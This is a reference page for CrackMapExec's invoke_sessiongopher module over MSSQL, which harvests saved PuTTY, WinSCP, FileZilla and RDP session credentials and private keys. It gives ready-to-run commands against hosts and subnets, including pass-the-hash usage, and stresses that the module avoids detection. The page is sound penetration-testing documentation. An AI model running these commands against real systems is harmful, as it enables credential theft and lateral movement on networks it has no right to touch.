CrackMapExec Invoke_sessiongopher (mssql)
This page contains detailed information about how to use the invoke_sessiongopher CME module while using the mssql protocol. For list of all CrackMapExec modules, visit the CrackMapExec Module Library.
Description
This module digs up saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP from Windows registry using SessionGopher.ps1 PowerShell module. When run in Thorough mode, it also searches all drives for PuTTY private key files (.ppk) and extracts all relevant private key information, including the key itself, as well as for Remote Desktop (.rdp) and RSA (.sdtid) files.
The invoke_sessiongopher module is OPSEC safe. This means that it doesn't touch the disk and therefore shouldn't trigger any alarms.
Supported Protocols
- mssql
- smb
Module Source Code
Authors
Module Options
Here is a complete list of invoke_sessiongopher module options:
# cme mssql -M invoke_sessiongopher --options
[*] invoke_sessiongopher module options:
THOROUGH Searches entire filesystem for certain file extensions (default: False)
ALLDOMAIN Queries Active Direcotry for a list of all domain-joined computers and runs SessionGopher against all of them (default: False)
Note that none of these options is required. If you want to change any of the default values, you can do so by adding, e.g. -o THOROUGH=VALUE parameter to the command line.
Module Usage
This is how to use the invoke_sessiongopher module while using the mssql protocol:
Syntax:
# cme mssql <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M invoke_sessiongopher
Admin user:
# cme mssql 10.0.5.1 -u sa -p P@ss123 -d . -M invoke_sessiongopher
# cme mssql 10.0.5.1 -u sa -p P@ss123 --local-auth -M invoke_sessiongopher
Normal user:
# cme mssql 10.0.5.1 -u dbuser -p P@ss123 -d target.corp -M invoke_sessiongopher
CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:
# cme mssql 10.0.5.1 -u sa -H 432b022dc22aa5afe884e986b8383ff2 -d . -M invoke_sessiongopher
# cme mssql 10.0.5.1 -u dbuser -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M invoke_sessiongopher
The invoke_sessiongopher module can be also used against multiple hosts. Here's how to run it against multiple hosts:# cme mssql target_list.txt -u sa -p P@ss123 -d . -M invoke_sessiongopher
# cme mssql 10.0.5.0/24 -u sa -p P@ss123 -d . -M invoke_sessiongopher
# cme mssql 10.0.5.1-100 -u sa -p P@ss123 -d . -M invoke_sessiongopher
References
Version
This page has been created based on CrackMapExec version 5.1.7dev.
Visit CrackMapExec Module Library for more modules.